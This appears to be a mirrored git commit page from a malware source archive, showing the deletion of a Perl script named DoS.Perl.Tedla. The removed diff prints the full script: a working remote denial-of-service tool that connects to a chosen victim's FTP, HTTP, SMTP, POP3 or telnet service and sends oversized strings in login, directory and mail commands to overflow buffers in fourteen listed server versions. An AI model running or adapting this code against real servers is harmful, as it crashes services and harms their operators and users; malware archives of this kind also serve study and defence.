mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
Delete DoS.Perl.Tedla
na
This commit is contained in:
vxunderground
GitHub
parent
bd0805b41c
commit
59c56925a9
@ -1,240 +0,0 @@
|
||||
#####################################################################
|
||||
# Rewted Network Security Labs - www.rewted.org #
|
||||
# based upon advisories by USSR (www.ussrback.com) & Rewted.org #
|
||||
# #
|
||||
# Demonstration script to remotely overflow various server buffers, #
|
||||
# resulting in a denial of service, for TESTING purposes only. #
|
||||
# Runs on *nix & Windows with perl. #
|
||||
# #
|
||||
# G6 FTP Server v2.0 beta4/5 #
|
||||
# MDaemon httpd Server v2.8.5.0 #
|
||||
# Avirt Mail Server v3.5 #
|
||||
# BisonWare FTP Server v3.5 #
|
||||
# Vermillion FTP Server v1.23 #
|
||||
# ZetaMail POP3 Server v2.1 #
|
||||
# WFTPD FTP Server 2.40 #
|
||||
# BFTelnet Server v1.1 #
|
||||
# Broker FTP Server v3.5 #
|
||||
# ExpressFS FTP server v2.x #
|
||||
# XtraMail POP3 Server v1.11 #
|
||||
# Cmail SMTP Server v2.4 #
|
||||
# PakMail SMTP/POP3 v1.25 #
|
||||
# #
|
||||
# slackette - warminx@null.rewted.org #
|
||||
# www.rewted.org www.rewted.org www.rewted.org www.rewted.org #
|
||||
#####################################################################
|
||||
|
||||
use IO::Socket;
|
||||
use Getopt::Std;
|
||||
getopts('h:p:t:u:v', \%args);
|
||||
if(!defined($args{h}) && !defined($args{t})) {
|
||||
print qq~Usage: $0 -h <victim> -t <number> ((-u username) | (-p password)) | -v
|
||||
|
||||
-h victim to test remote overflow DoS on
|
||||
-t server type (check the -v option for list)
|
||||
-u username authorisation (required if server prompts for username)
|
||||
-p password authentication (required if user/passwd is expected)
|
||||
-v lists all servers vulnerable to each DoS
|
||||
|
||||
~; exit; }
|
||||
|
||||
if(defined($args{u})) { $user=$args{u}; }
|
||||
if(defined($args{p})) { $pass=$args{p}; }
|
||||
if(defined($args{v})) { &vulnerable; }
|
||||
if(defined($args{h}) && defined($args{t})){
|
||||
if(($args{t}) == 1) { &G6; }
|
||||
if(($args{t}) == 2) { &mdaemon; }
|
||||
if(($args{t}) == 3) { &avirt; }
|
||||
if(($args{t}) == 4) { &bisonware; }
|
||||
if(($args{t}) == 5) { &vermillion; }
|
||||
if(($args{t}) == 6) { &zetamail; }
|
||||
if(($args{t}) == 7) { &wftpd; }
|
||||
if(($args{t}) == 8) { &bftelnet; }
|
||||
if(($args{t}) == 9) { &broker; }
|
||||
if(($args{t}) == 10) { &expressfs; }
|
||||
if(($args{t}) == 11) { &xtramail; }
|
||||
if(($args{t}) == 12) { &cmail; }
|
||||
if(($args{t}) == 13) { &pakmail; }
|
||||
if(($args{t}) == 14) { &pakpop; }}
|
||||
|
||||
sub G6 {
|
||||
$denial .= "A" x 2000;
|
||||
$victim=$args{h};
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "21") or die "Can't connect.\n";
|
||||
$socket->autoflush(1);
|
||||
print $socket "$denial\n"; # user
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub mdaemon {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 1025;
|
||||
$url = "/$denial";
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "80") or die "Can't connect.\n";
|
||||
print $socket "GET $url\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub avirt {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 856;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "25") or die "Can't connect\n";
|
||||
$socket->autoflush(1);
|
||||
print $socket "user $user\n";
|
||||
print $socket "pass $denial\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub bisonware {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 2000;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "21") or die "Can't connect\n";
|
||||
$socket->autoflush(1);
|
||||
print $socket "$denial\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub vermillion {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 504;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "21") or die "Can't connect\n";
|
||||
$socket->autoflush(1);
|
||||
print $socket "$user\n";
|
||||
print $socket "$pass\n";
|
||||
print $socket "cwd $denial\n";
|
||||
# for(i=0; i<=3; i++) { print $socket "CWD $denial\n"; }
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub zetamail {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 3500;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "110") or die "Can't connect.\n";
|
||||
print $socket "user $denial\n";
|
||||
print $socket "pass $denial\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub wftpd {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 255;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "21") or die "Can't connect.\n";
|
||||
print $socket "$user\n";
|
||||
print $socket "$pass\n";
|
||||
print $socket "MKDIR $denial\n";
|
||||
print $socket "CWD $denial\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub bftelnet {
|
||||
# use Net::Telnet;
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 3090;
|
||||
$telnet = new Net::Telnet ( Timeout =>10,
|
||||
Errmode =>'die');
|
||||
$telnet->open('$victim');
|
||||
$telnet->waitfor('/Login: $/i');
|
||||
$telnet->print('$denial');
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $telnet; }
|
||||
|
||||
sub broker {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 2730;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "21") or die "Can't connect.\n";
|
||||
print $socket "$denial\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
|
||||
sub expressfs {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 654;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "21") or die "Can't connect.\n";
|
||||
print $socket "$denial\n";
|
||||
print $socket "AAAAAAAAAAAAAAAAAAA\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub xtramail {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 2930;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "25") or die "Can't connect.\n";
|
||||
print $socket "MAIL FROM: test\@localhost\n";
|
||||
print $socket "RCPT TO: $denial\@localhost\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub cmail {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 7090;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "25") or die "Can't connect.\n";
|
||||
print $socket "MAIL FROM: $denial\@localhost\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub pakmail {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 1390;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "25") or die "Can't connect.\n";
|
||||
print $socket "MAIL FROM: test\@localhost\n";
|
||||
print $socket "RCPT TO: $denial\@localhost\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub pakpop {
|
||||
$victim=$args{h};
|
||||
$denial .= "A" x 1400;
|
||||
$socket = IO::Socket::INET->new (Proto => "tcp",
|
||||
PeerAddr => $victim,
|
||||
PeerPort => "110") or die "Can't connect.\n";
|
||||
print $socket "user test\n";
|
||||
print $socket "pass $denial\n";
|
||||
print "\nSent overflow to $victim\n";
|
||||
close $socket; }
|
||||
|
||||
sub vulnerable {
|
||||
print qq~
|
||||
______________________________________________________________________________
|
||||
Vulnerable Daemon Version Vulnerable Daemon Version
|
||||
______________________________________________________________________________
|
||||
|
||||
[1] G6 FTP Server v2.0b4/5 [2] MDaemon httpd Server v2.8.5.0
|
||||
|
||||
[3] Avirt Mail Server v3.5 [4] BisonWare FTP Server v3.5
|
||||
|
||||
[5] Vermillion FTP Server v1.23 [6] ZetaMail SMTP Server v2.1
|
||||
|
||||
[7] WFTPD FTP Server v2.40 [8] BFTelnet Server v1.1
|
||||
|
||||
[9] Broker FTP Server v3.5 [10] ExpressFS FTP Server v2.x
|
||||
|
||||
[11] XtraMail POP3 Server v1.11 [12] Cmail SMTP Server v2.4
|
||||
|
||||
[13] PakMail SMTP Server v1.25 [14] PakMail POP3 Server v1.25
|
||||
|
||||
~; exit; }
|
||||
Loading…
Reference in New Issue
Block a user